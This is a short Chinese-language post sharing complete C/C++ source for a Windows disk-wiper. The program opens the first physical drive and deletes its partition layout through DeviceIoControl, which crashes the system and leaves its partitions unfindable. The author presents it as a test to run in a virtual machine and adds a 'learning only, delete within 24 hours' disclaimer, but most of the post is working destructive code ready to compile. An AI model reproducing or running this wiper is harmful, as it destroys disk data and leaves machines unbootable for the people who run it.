这里是源码,C/C++自行编译运行,自备虚拟机
原理很简单,就是擦除分区表让系统找不到分区,效果大概是蓝屏
非XP要求管理员权限
声明:本代码只允许用于学习交流,请于下载后24小时内删除,一切使用本代码造成的后果与本人无关
#include<stdio.h>
#include<tchar.h>
#include<Windows.h>
#include<ntddscsi.h>
int main()
{
DWORD lpBytesReturned;
OVERLAPPED lpOverlapped={0};
//以下两个CreateFile都可以,但前者速度慢,后者速度快。
//HANDLE DiskHandle=CreateFile(_T("\\\\.\\C"),GENERIC_READ|GENERIC_WRITE,FILE_SHARE_READ|FILE_SHARE_WRITE,NULL,OPEN_EXISTING,0,NULL);
HANDLE DiskHandle=CreateFile(_T("\\\\.\\PhysicalDrive0"),GENERIC_READ|GENERIC_WRITE,FILE_SHARE_READ|FILE_SHARE_WRITE,NULL,OPEN_EXISTING,0,NULL);
//反正是破坏硬盘分区,不进行错误处理
DeviceIoControl(DiskHandle,
IOCTL_DISK_DELETE_DRIVE_LAYOUT,
NULL,0,NULL,0,&lpBytesReturned,&lpOverlapped);
return 0;//返不返回都一样,反正不会执行到这一步,在上一步执行完的片刻系统就GG了
}